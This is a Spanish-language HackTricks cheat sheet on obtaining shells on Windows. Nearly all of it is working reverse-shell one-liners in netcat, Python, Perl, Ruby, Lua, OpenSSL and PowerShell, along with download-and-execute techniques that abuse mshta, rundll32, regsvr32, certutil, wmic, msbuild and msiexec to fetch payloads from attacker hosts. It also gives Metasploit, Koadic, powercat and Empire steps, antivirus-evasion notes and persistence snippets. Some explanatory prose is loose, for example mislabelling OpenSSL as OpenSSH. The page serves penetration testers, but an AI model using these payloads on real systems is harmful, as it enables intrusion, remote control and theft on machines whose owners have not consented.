hacktricks/generic-methodologies-and-resources/shells/windows.md
2023-06-03 01:46:23 +00:00

32 KiB
Raw Blame History

Shells - Windows

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales sobre errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

Lolbas

La página lolbas-project.github.io es para Windows lo que https://gtfobins.github.io/ es para Linux.
Obviamente, no hay archivos SUID ni privilegios de sudo en Windows, pero es útil saber cómo algunos binarios pueden ser (ab)usados para realizar algún tipo de acción inesperada como ejecutar código arbitrario.

NC

nc.exe -e cmd.exe <Attacker_IP> <PORT>

SBD

sbd es un clon de Netcat, diseñado para ser portátil y ofrecer una fuerte encriptación. Se ejecuta en sistemas operativos similares a Unix y en Microsoft Win32. sbd cuenta con encriptación AES-CBC-128 + HMAC-SHA1 (por Christophe Devine), ejecución de programas (opción -e), elección del puerto fuente, reconexión continua con retraso y algunas otras características interesantes. sbd solo admite comunicación TCP/IP. sbd.exe (parte de la distribución de Kali Linux: /usr/share/windows-resources/sbd/sbd.exe) se puede cargar en una máquina con Windows como alternativa a Netcat.

#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Perl

Perl es un lenguaje de programación interpretado que se utiliza a menudo en la creación de scripts y en la automatización de tareas. Es especialmente útil para la manipulación de texto y la gestión de archivos. Perl se ejecuta en una amplia variedad de sistemas operativos y es compatible con muchas bibliotecas y módulos de terceros. Además, Perl es un lenguaje muy popular en el mundo de la seguridad informática debido a su capacidad para manipular datos y realizar tareas complejas de forma rápida y eficiente.

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

Ruby es un lenguaje de programación interpretado y orientado a objetos. Es muy popular en el mundo de la programación web y se utiliza en muchos frameworks como Ruby on Rails. También es utilizado en herramientas de hacking como Metasploit. Ruby es fácil de leer y escribir, lo que lo hace ideal para la creación de scripts y herramientas de hacking personalizadas. Además, tiene una gran cantidad de bibliotecas y gemas disponibles que pueden ser utilizadas para simplificar el proceso de hacking.

#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

OpenSSH

Atacante (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Víctima

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Powershell

Powershell es una herramienta de línea de comandos y scripting desarrollada por Microsoft para la administración de sistemas Windows. Es una herramienta muy poderosa para los hackers, ya que permite la ejecución de comandos y scripts de forma remota en sistemas Windows comprometidos.

Ejecución remota

Para ejecutar comandos o scripts de forma remota en un sistema Windows comprometido, se puede utilizar el cmdlet Invoke-Command. Este cmdlet permite ejecutar comandos o scripts en un sistema remoto utilizando la autenticación actual del usuario.

Invoke-Command -ComputerName <nombre_del_equipo> -ScriptBlock { <comando_o_script> }

Escalamiento de privilegios

Powershell también puede ser utilizado para escalar privilegios en sistemas Windows comprometidos. Una técnica común es utilizar el cmdlet Invoke-Expression para ejecutar comandos en el contexto del sistema.

Invoke-Expression "Start-Process cmd.exe -Verb RunAs"

Este comando ejecutará el proceso cmd.exe con privilegios elevados.

Persistencia

Powershell también puede ser utilizado para establecer persistencia en sistemas comprometidos. Una técnica común es utilizar el cmdlet New-ScheduledTaskTrigger para crear una tarea programada que se ejecute en intervalos regulares.

$Trigger = New-ScheduledTaskTrigger -Daily -At 3am
Register-ScheduledTask -TaskName "MyTask" -Trigger $Trigger -User "SYSTEM" -Action { <comando_o_script> }

Este comando creará una tarea programada llamada "MyTask" que se ejecutará todos los días a las 3am con el usuario SYSTEM y ejecutará el comando o script especificado.

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

Proceso que realiza llamadas de red: powershell.exe
Carga útil escrita en disco: NO (al menos en ningún lugar que pudiera encontrar usando procmon !)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Proceso que realiza llamadas de red: svchost.exe
Carga útil escrita en disco: caché local del cliente WebDAV

Línea de comando:

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Obtenga más información sobre diferentes Shells de Powershell al final de este documento

Mshta

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

Proceso que realiza una llamada de red: mshta.exe
Carga útil escrita en disco: caché local de IE

mshta http://webserver/payload.hta

Proceso que realiza una llamada de red: mshta.exe
Carga útil escrita en disco: caché local de IE

mshta \\webdavserver\folder\payload.hta

Proceso que realiza una llamada de red: svchost.exe
Carga escrita en el disco: cache local del cliente WebDAV

Ejemplo de shell inverso hta-psh (usa hta para descargar y ejecutar la puerta trasera de PS)

 <scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>

Puedes descargar y ejecutar muy fácilmente un zombie de Koadic usando el stager hta

Ejemplo de hta

<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
        var c = "cmd.exe /c calc.exe"; 
        new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

mshta - sct

La técnica mshta - sct se utiliza para ejecutar código malicioso en un sistema Windows. Esta técnica aprovecha la herramienta mshta.exe de Windows para ejecutar un archivo .sct (Scriptlet Text) que contiene código malicioso. El archivo .sct se puede alojar en un servidor web o en un recurso compartido de red y se puede ejecutar mediante una URL o una ruta UNC.

Para utilizar esta técnica, primero se debe crear un archivo .sct que contenga el código malicioso. A continuación, se debe alojar el archivo .sct en un servidor web o en un recurso compartido de red. Finalmente, se debe ejecutar el archivo .sct utilizando la herramienta mshta.exe.

Esta técnica es especialmente útil para evadir la detección de antivirus, ya que el archivo .sct no es un archivo ejecutable y no se considera una amenaza por sí solo. Además, la herramienta mshta.exe es una herramienta legítima de Windows y no suele ser detectada por los programas antivirus.

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Mshta - Metasploit

La carga útil de Metasploit para Mshta se puede utilizar para ejecutar comandos arbitrarios en un sistema Windows. Mshta es una herramienta de línea de comandos que se utiliza para ejecutar archivos HTML como aplicaciones de escritorio. La carga útil de Metasploit para Mshta aprovecha esta funcionalidad para ejecutar comandos en el sistema de destino.

Para utilizar esta carga útil, primero se debe generar un archivo HTML que contenga el código que se desea ejecutar en el sistema de destino. A continuación, se debe utilizar la carga útil de Metasploit para Mshta para ejecutar el archivo HTML en el sistema de destino.

La carga útil de Metasploit para Mshta es una herramienta muy útil para los hackers que buscan ejecutar comandos en sistemas Windows. Sin embargo, es importante tener en cuenta que esta carga útil puede ser detectada por algunos sistemas de seguridad, por lo que se debe utilizar con precaución.

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit

Detectado por el defensor

Rundll32

Ejemplo de "Hola mundo" de DLL

rundll32 \\webdavserver\folder\payload.dll,entrypoint

Proceso que realiza una llamada de red: svchost.exe
Carga útil escrita en disco: caché local del cliente WebDAV

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Proceso que realiza una llamada de red: rundll32.exe
Carga útil escrita en disco: caché local de IE

Detectado por Defender

Rundll32 - sct

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Rundll32 - Metasploit

El módulo windows/local/metasploit_rundll32 de Metasploit permite ejecutar un payload de Metasploit a través de la función rundll32.exe.

El payload se codifica en base64 y se almacena en un archivo DLL. Luego, se utiliza rundll32.exe para cargar el archivo DLL y ejecutar el payload.

Este método puede ser útil para evadir la detección de antivirus, ya que rundll32.exe es una aplicación legítima de Windows y es comúnmente utilizada por otros programas.

use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0

Rundll32 - Koadic

Rundll32 es una herramienta de Windows que permite ejecutar funciones de una DLL como si fueran un programa. Koadic es una herramienta de post-explotación que permite el control remoto de sistemas Windows.

Para utilizar Koadic con Rundll32, primero se debe generar un payload de Koadic y guardarlo en un archivo DLL. Luego, se puede ejecutar el payload utilizando Rundll32 de la siguiente manera:

rundll32.exe <path_to_payload.dll>,<entry_point>

Donde <path_to_payload.dll> es la ruta al archivo DLL que contiene el payload de Koadic y <entry_point> es el nombre de la función que se desea ejecutar.

Por ejemplo, si se desea ejecutar la función Koadic() del payload guardado en el archivo payload.dll, se utilizaría el siguiente comando:

rundll32.exe payload.dll,Koadic

Este método puede ser útil para evadir la detección de antivirus, ya que Rundll32 es una herramienta legítima de Windows y el payload se ejecuta como una función de una DLL en lugar de como un programa independiente.

use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();

Regsvr32

Regsvr32 es una herramienta de línea de comandos en Windows que se utiliza para registrar y desregistrar bibliotecas de vínculos dinámicos (DLL) y controles ActiveX en el Registro de Windows. También se puede utilizar para ejecutar código malicioso en un sistema comprometido. Los atacantes pueden utilizar Regsvr32 para ejecutar scripts de PowerShell y descargar malware en un sistema.

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

Proceso que realiza una llamada de red: regsvr32.exe
Carga útil escrita en disco: caché local de IE

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Proceso que realiza una llamada de red: svchost.exe
Carga útil escrita en disco: Caché local del cliente WebDAV

Detectado por Defender
\

Regsvr32 -sct

<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration 
    progid="PoC"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <script language="JScript">
        <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run("calc.exe");    
        ]]>
</script>
</registration>
</scriptlet>

Regsvr32 - Metasploit

El módulo regsvr32 de Metasploit permite ejecutar un payload en una máquina Windows utilizando el comando regsvr32.exe. Este comando se utiliza normalmente para registrar y desregistrar DLLs en el sistema, pero también puede ser utilizado para ejecutar código malicioso.

Para utilizar este módulo, primero se debe generar un payload utilizando Metasploit. Luego, se debe configurar el módulo regsvr32 con el payload generado y la dirección IP del atacante. Finalmente, se debe ejecutar el comando regsvr32.exe en la máquina objetivo para que se ejecute el payload.

Este método es útil cuando se tiene acceso limitado a la máquina objetivo y no se puede ejecutar directamente un payload. Sin embargo, es importante tener en cuenta que este método puede ser detectado por algunos antivirus y soluciones de seguridad.

use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll

Puedes descargar y ejecutar fácilmente un zombie Koadic usando el stager regsvr

Certutil

Descarga un archivo B64dll, descodifícalo y ejecútalo.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

Descarga un archivo B64exe, descodifícalo y ejecútalo.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Detectado por el defensor


Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales sobre errores web3

🔔 Recibe notificaciones sobre nuevas recompensas por errores

💬 Participa en discusiones comunitarias

Cscript/Wscript

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Cscript - Metasploit

Metasploit tiene un módulo llamado windows/script/cscript que permite ejecutar scripts de VBScript en una máquina Windows remota. Este módulo es muy útil para ejecutar comandos en una máquina comprometida sin tener que cargar un ejecutable adicional en el sistema.

Para utilizar este módulo, primero se debe establecer una sesión de Meterpreter en la máquina objetivo. Luego, se puede ejecutar el comando run windows/script/cscript y especificar el script de VBScript que se desea ejecutar. El script se ejecutará en la máquina objetivo y los resultados se mostrarán en la sesión de Meterpreter.

Este módulo también permite especificar argumentos adicionales para el script de VBScript, lo que puede ser útil para personalizar la ejecución del script. Por ejemplo, se puede especificar un archivo de entrada o salida para el script.

Es importante tener en cuenta que este módulo requiere que el servicio de Windows Script Host (WSH) esté habilitado en la máquina objetivo. Si el servicio no está habilitado, el módulo no funcionará.

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs

Detectado por el defensor

PS-Bat

\\webdavserver\folder\batchfile.bat

Proceso que realiza una llamada de red: svchost.exe
Carga útil escrita en disco: caché local del cliente WebDAV

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
\\10.8.0.3\kali\shell.bat

Detectado por el defensor

MSIExec

Atacante

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80

Víctima:

victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

Detectado

Wmic

wmic os get /format:"https://webserver/payload.xsl"

Proceso que realiza una llamada de red: wmic.exe
Carga útil escrita en disco: caché local de IE

Archivo xsl de ejemplo:

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
    <ms:script implements-prefix="user" language="JScript">
        <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
        ]]>
    </ms:script>
</stylesheet>

Extraído de aquí

No detectado

Puedes descargar y ejecutar muy fácilmente un zombie de Koadic usando el stager wmic

Msbuild

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Proceso que realiza llamadas de red: svchost.exe
Carga útil escrita en disco: caché local del cliente WebDAV

Puedes utilizar esta técnica para evitar la lista blanca de aplicaciones y las restricciones de Powershell.exe. Ya que se te pedirá una shell de Powershell.
Solo descarga y ejecuta esto: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

No detectado

CSC

Compilar código C# en la máquina víctima.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs

Puedes descargar un shell inverso básico en C# desde aquí: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

No detectado

Regasm/Regsvc

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Proceso que realiza llamadas de red: svchost.exe
Carga útil escrita en disco: caché local del cliente WebDAV

No lo he probado

https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182

Odbcconf

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Proceso que realiza llamadas de red: svchost.exe
Carga útil escrita en disco: cache local del cliente WebDAV

No lo he probado

https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2

Shells de Powershell

PS-Nishang

https://github.com/samratashok/nishang

En la carpeta Shells, hay muchos shells diferentes. Para descargar y ejecutar Invoke-PowerShellTcp.ps1, haga una copia del script y agregue al final del archivo:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

Comience a servir el script en un servidor web y ejecútelo en el extremo de la víctima:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender no lo detecta como código malicioso (aún, 3/04/2019).

TODO: Revisar otros shells de nishang

PS-Powercat

https://github.com/besimorhino/powercat

Descarga, inicia un servidor web, inicia el listener y ejecútalo en el extremo de la víctima:

 powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Defender no lo detecta como código malicioso (todavía, 3/04/2019).

Otras opciones ofrecidas por powercat:

Conexiones de shell, shell inversa (TCP, UDP, DNS), redirección de puertos, subida/bajada de archivos, generación de payloads, servir archivos...

Serve a cmd Shell:
    powercat -l -p 443 -e cmd
Send a cmd Shell:
    powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
    powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
    powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
    powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
    powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
    powercat -l -p 443 -i C:\inputfile -rep

Empire

https://github.com/EmpireProject/Empire

Crea un lanzador de PowerShell, guárdalo en un archivo y descárgalo y ejecútalo.

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Detectado como código malicioso

MSF-Unicorn

https://github.com/trustedsec/unicorn

Crea una versión de powershell de la puerta trasera de metasploit utilizando unicornio.

python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443

Inicie msfconsole con el recurso creado:

msfconsole -r unicorn.rc

Inicie un servidor web que sirva el archivo powershell_attack.txt y ejecútelo en la víctima:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

Más

PS>Attack Consola de PS con algunos módulos ofensivos de PS precargados (cifrados)
https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9
WinPWN
Consola de PS con algunos módulos ofensivos de PS y detección de proxy (IEX)

Bibliografía

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales de errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥